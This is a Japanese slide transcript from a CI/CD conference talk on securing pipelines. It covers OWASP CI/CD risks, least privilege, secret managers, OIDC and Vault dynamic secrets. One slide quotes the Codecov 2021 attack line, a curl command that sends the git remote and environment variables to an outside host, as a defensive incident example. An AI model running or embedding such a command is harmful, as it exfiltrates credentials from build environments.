自分のデータは自分で守る - あなたのCI/CDパイプラインをセキュアにする処方箋

CI/CD Conference 2023で発表した資料です。セッション動画の視聴はこちら
https://event.cloudnativedays.jp/cicd2023/talks/1760

Transcript

1. 自分のデータは 自分で守る あなたのCI/CDパイプラインをセキュアにする処方箋
2. Kazuto Kusama @jacopen Senior Solutions Engineer @HashiCorp Japan Co-Chair @CloudNative Days Organizer @PaaSJP Organizer @Platform Engineering Meetup
3. 何をするにもCI/CD無しには語れない時代になりました
4. CI/CDはDevOpsやCloud Native技術の根幹 Dev Ops Configure Verify Package Plan Monitor Release Create Plan
5. 9/10 Web アプリケーション への侵害のうち、クレ デンシャルに起因する もの 過去2年間における データ侵害の増加率 セキュリティ侵害のう ち、人的要素が関与し ているもの 380% 82% セキュリティ侵害に関するデータ
6. CI/CDのセキュリティは難しい Dev Code Repository CI/CD
7. CI/CDのセキュリティは難しい Dev Code Repository CI/CD クライアントサイドへの攻撃 サプライチェーンへの攻撃 ツールへの攻撃 サーバーサイドへの攻撃 対処しなければならない場所が多い
8. CI/CDのセキュリティは難しい Dev Code Repository CI/CD クライアントサイドへの攻撃 サプライチェーンへの攻撃 ツールへの攻撃 サーバーサイドへの攻撃 CI/CDツールは 本番環境にアクセスしやすい
9. 外部サービスからの流出
10. CI/CDのセキュリティは難しい Dev Code Repository CI/CD ツールへの攻撃 本番環境が直接危機にさらされる ここをやられたので
11. 責任の主体 やらかしたのがSaaS側であっても、 エンドユーザーに発生した被害の責任は自分でとらなくてはいけません。
12. こういうときに絶対にやってはいけない対処
13. 問題のある対処 利用している◦◦のSaaSでセキュリティインシデントがおきました ⇒ なので、そのSaaSはやめて別のSaaSに切り替えました！
14. 問題のある対処 利用している◦◦のSaaSでセキュリティインシデントがおきました ⇒ なので、そのSaaSはやめて別のSaaSに切り替えました！ 何も解決していない！
15. 問題の本質はどこにあるか • SaaSでセキュリティインシデントが起きたことは事実として･･･ ◦ 何故シークレットが漏れて問題になったか ▪ シークレットを持たせる必要はあったか ▪ 漏れても影響の少ないシークレットに出来なかったか ▪ 漏れても問題がないように出来なかったか ◦ 漏れないような管理は本当に不可能だったのか
16. 問題の本質はどこにあるか • SaaSでセキュリティインシデントが起きたことは事実として･･･ ◦ 何故シークレットが漏れて問題になったか ▪ シークレットを持たせる必要はあったか ▪ 漏れても影響の少ないシークレットに出来なかったか ▪ 漏れても問題がないように出来なかったか ◦ 漏れないような管理は本当に不可能だったのか このあたりの深掘りが出来ていないと、結局乗り換え先でまたインシ デントが起きたときに同じことを繰り返す
17. 既存のフレームワークを活用して対策していく
18. サイバー攻撃の構図 (Mitre ATT&CK Framework) MITRE ATT&CKで始める脅威ベースのセキュリティ対策入門（ 1） https://atmarkit.itmedia.co.jp/ait/articles/2207/21/news003.html
19. … より強いレベ ルの権限を取 得 Privilege Escalation Credential Access … アカウントの ユーザ名やパス ワードを盗難 Lateral Movement … 自社の環境内 で横断的な活動 … データを盗難 Exfiltration Initial Access アタッカーが自 社のネットワー クにアクセス サイバー攻撃の構図　(Mitre ATT&CK Framework)
20. OWASP Top 10 CI/CD Security Risks https://owasp.org/www-project-top-10-ci-cd-security-risks/
21. 今回は、シークレットの管理を中心に話します
22. … より強いレベ ルの権限を取 得 Privilege Escalation Credential Access … アカウントの ユーザ名やパス ワードを盗難 Lateral Movement … 自社の環境内 で横断的な活動 … データを盗難 Exfiltration Initial Access アタッカーが自 社のネットワー クにアクセス サイバー攻撃の構図　(Mitre ATT&CK Framework)
23. 次の時間帯のセッションも併せて見てみるといいかも
24. 全体方針 大原則: セキュリティリスクを許容範囲なレベルまで減らす 大方針: 全てのシークレットを正しく管理下に置く 正しい管理とは: - 保存場所の管理 - 権限の管理 - 期間の管理 - ログの管理
25. CIとCDの流れ Dev Code Repository CI CD 開発環境 ステージング 本番
26. CIとCDの流れ Dev Code Repository CI CD 開発環境 ステージング 本番 最終的にはここの 権限を奪うのが目標
27. パイプラインごとにいろんな権限が必要にな るから、広めの権限を与えておこう
28. CICD-SEC-2 不十分な ID およびアクセス管理 過度に寛容な ID Dev Code Repository CI CD 開発環境 ステージング 本番 なんでも出来るID クラウド上でやりたい 放題
29. CICD-SEC-2 不十分な ID およびアクセス管理 過度に寛容な ID 対策: 最小権限の原則 Dev Code Repository CI CD 開発環境 ステージング 本番 Deliveryに必要な最小 権限のみを付与する。 違うパイプラインには 違う権限を付与する
30. シークレットをリポジトリに入れるのは良く ないけど、プライベートだからセーフでしょ
31. CICD-SEC-6 不十分な認証情報衛生 認証情報を含むコードが SCM リポジトリのブランチの一つに プッシュされている Dev Code Repository CI CD 開発環境 ステージング 本番
32. Dev Code Repository CI CD 開発環境 ステージング 本番 誤ってパブリックリポ ジトリにfork 悪意のある内部の人間 がリポジトリを閲覧 (検出が困難) サプライチェーン攻撃 でリポジトリ内の シークレットを取得
33. 実際の攻撃事例 Uber(2016): GitHubのPrivate Repositoryに保存していたAWSキーを悪用され、 S3に不正アクセスされたことにより数百万の顧客情報が流出 Samsung(2019): 自前で運用していたGitLabのリポジトリが、設定漏れによりパ ブリックに公開され、その中のAWSキーが流出。ログや分析データの入った100 以上のS3 Bucketにアクセス可能に その他多数の事例あり
34. Kubernetesの場合特に注意 gitops 安易なGitOpsの実現のため、SecretをManifest Repositoryに入れてしまう apiVersion: v1 kind: Secret metadata: name: creds data: password: cEBzc3cwcmQ= username: YWRtaW4= ただのbase64 エンコードなので、 平文と同じ
35. CICD-SEC-6 不十分な認証情報衛生 認証情報を含むコードが SCM リポジトリのブランチの一つに プッシュされている 対策: リポジトリに入れない。 シークレットマネージャの活用 Dev Code Repository CI CD 開発環境 ステージング 本番 安全に管理されたSecret manager上に集中管理
36. とりあえず使いやすい場所に シークレットを入れておこう
37. CICD-SEC-7 安全でないシステム構成 システム構成が安全でないシステム Dev Code Repository CI CD 開発環境 ステージング 本番
38. CICD-SEC-7 安全でないシステム構成 システム構成が安全でないシステム Dev Code Repository CI CD 開発環境 ステージング 本番 様々な場所にキーが散ら ばって管理されている Secret Sprawl デフォルト設定のまま シークレットストアに 管理されている
39. その置き場所、安全ですか？ 置き場所が散らばることによるリスク • 散らばったシークレットを管理していくことは困難 • 有効期限の長いシークレットが放置されてしまう • アクセス制御やロギングが備わっていない場所も多い ◦ 有効期限が無限に設定されているクラウドのシークレットが、アクセス制御やログ が取られていない環境から盗まれたとしたら、どうやって気づく？ シークレットストアをデフォルト設定で使うリスク • デフォルト設定では細かなアクセス制御がなされてないことが多い • ブランチや環境が異なっても同じシークレットにアクセスが出来てしまう
40. CICD-SEC-7 安全でないシステム構成 システム構成が安全でないシステム 対策: 適切な構成 Dev Code Repository CI CD 開発環境 ステージング 本番 適切なチームと ロールの設定 GitHub Actions Secretsの利用 Deployment Environments の活用
41. CICD-SEC-7 安全でないシステム構成 システム構成が安全でないシステム 対策: シークレットマネージャの活用 Dev Code Repository CI CD 開発環境 ステージング 本番 安全に管理されたSecret manager上に集中管理
42. CIのパイプラインでそのままCDもしちゃおう
43. CICD-SEC-3 依存チェーンの悪用 CICD-SEC-4 有害なパイプライン実行 CICD-SEC-5 不十分なパイプラインベースのアクセス制御 Dev Code Repository CI CD 開発環境 ステージング 本番 CIもCDも、全部 同じパイプラインで やっている
44. CICD-SEC-3 依存チェーンの悪用 CICD-SEC-4 有害なパイプライン実行 CICD-SEC-5 不十分なパイプラインベースのアクセス制御 Dev Code Repository CI CD 開発環境 ステージング 本番 悪意のある ForkからのPR 不十分なアクセス 制御による改変 サプライチェーン への攻撃
45. 実際の攻撃事例 Codecov(2021): カバレッジ計測のためのツールに、以下のようなコードが追加 される curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” https://IPADDRESS/upload/v2 || true Gitのリポジトリと環境変数が送信されるようになっていた => 環境変数内にシークレットが含まれていた場合は漏洩してしまう。 セルフホストのCIツールやRunnerを使っていても同様に影響を受けてしまう
46. CICD-SEC-3 依存チェーンの悪用 CICD-SEC-4 有害なパイプライン実行 CICD-SEC-5 不十分なパイプラインベースのアクセス制御 対策: Dev Code Repository CI CD 開発環境 ステージング 本番 適切なアクセス制御 適切なレビュー 実行環境の隔離 SBOM
47. CICD-SEC-3 依存チェーンの悪用 CICD-SEC-4 有害なパイプライン実行 CICD-SEC-5 不十分なパイプラインベースのアクセス制御 対策: CIとCDの環境を分離 Dev Code Repository CI CD 開発環境 ステージング 本番 CDは本番環境に直接の 権限を持っているた め、分離しておく CIで必要な権限だけを 持たせる
48. たとえば CI CD
49. CI/CDで使うクラウドのキーは、一度作成した らあとはシークレットストアに置いておくだけ
50. CICD-SEC-6 不十分な認証情報衛生 ローテーションされない認証情報 Dev Code Repository CI CD 開発環境 ステージング 本番 2年前 1年前 2年前 3年前 1年前 『壊れていない限りは手を入れなく て良い』の考えのもと、同じシーク レットを使い続けてしまう 結果として有効なキーを所持する人 ・システムが増え続け、漏洩の危険 性が飛躍的に高まっていく。
51. 外部サービスからの流出 ローテーションされていないシークレット は、大規模な流出事故で漏れ出す可能性があ るほか、知らないうちに知らない場所から漏 れる可能性もある。 事故が発覚した場合、多大な時間を割いて シークレットの棚卸しとローテーションを行 う必要がある。 例えばこういう漏洩事故が起きたとしても、 そのキーが数分間しか有効ではない場合は、 リスクを大きく低減することができる。
52. CICD-SEC-6 不十分な認証情報衛生 ローテーションされない認証情報 対策: キーレスの活用 Dev Code Repository CI CD 開発環境 ステージング 本番 クラウド側とOIDCで 信頼関係を確立し、 静的なキー無しでも デプロイできるようにする
53. CICD-SEC-6 不十分な認証情報衛生 ローテーションされない認証情報 対策: 動的シークレットの実践 Dev Code Repository CI CD 開発環境 ステージング 本番 必要な時に、必要なキーを ジャストインタイムで発行 させる。 不要になったら、明示的 or 自動的に削除する
54. 動的シークレット シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的 なシークレットを発行し、クライアントに返す。 ①キーをリクエスト AWSのIAMキーが 欲しい CIに使うのでMySQL のUser/Passが欲しい
55. 動的シークレット シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的 なシークレットを発行し、クライアントに返す。 ②対象に対してユーザーや キーを発行
56. 動的シークレット シークレットが必要な時に、Vaultに発行を依頼する。Vaultはその対象の一時的 なシークレットを発行し、クライアントに返す。 ③クライアントにキーを渡す
57. 動的シークレット クライアントがRevokeを指示した場合、Vaultはそのシークレットを消す revoke 使い終わったから もう要らない 対象のキーを削除
58. 動的シークレット 作成したシークレットには必ず生存期間(TTL)が設定されており、期限が切れたら 自動的にVaultが消してくれる。なので、明示的に消しに行かなくても安全性が保 たれる 対象のキーを削除 TTLを超える
59. シークレットエンジン AWS Secret Engine / Azure Secret Engine / Google Cloud Secret Engine 各クラウドプロバイダーのアクセスキーを動的に作成できる仕組み。AWSなら IAMキー、Google CloudならService Accountなど Database Secret Engine さまざまなデータベースのユーザー/パスワードを動的に作成出来る。 MySQL,PostgreSQL,Oracle,SQL Server, MongoDB, Cassandra, Elasticsearch, Redisなどなど SSH Secret Engine OTP認証やSSH証明書認証を利用してSSHの認証を動的に行う Vault Plugin for Gitlab Project Access Token (community) Vault Plugin Secrets GitHub (community) GitHubやGitLabのTokenを動的に作成する
60. まとめ • CI/CDのセキュリティは非常に難しい。しかし最善を尽くさないといけ ない • やらかしたのが自分でなくても、エンドユーザーに発生した被害の責任 は自分でとらないといけない • CI/CD潜むさまざまなリスクを洗い出し、許容可能なレベルに下げてい く取り組みが必要 • CI/CDにおけるシークレット管理はそのうちの一つ • 保存場所、権限、期間、ログなどを適切に管理し、リスクを下げていくこと が重要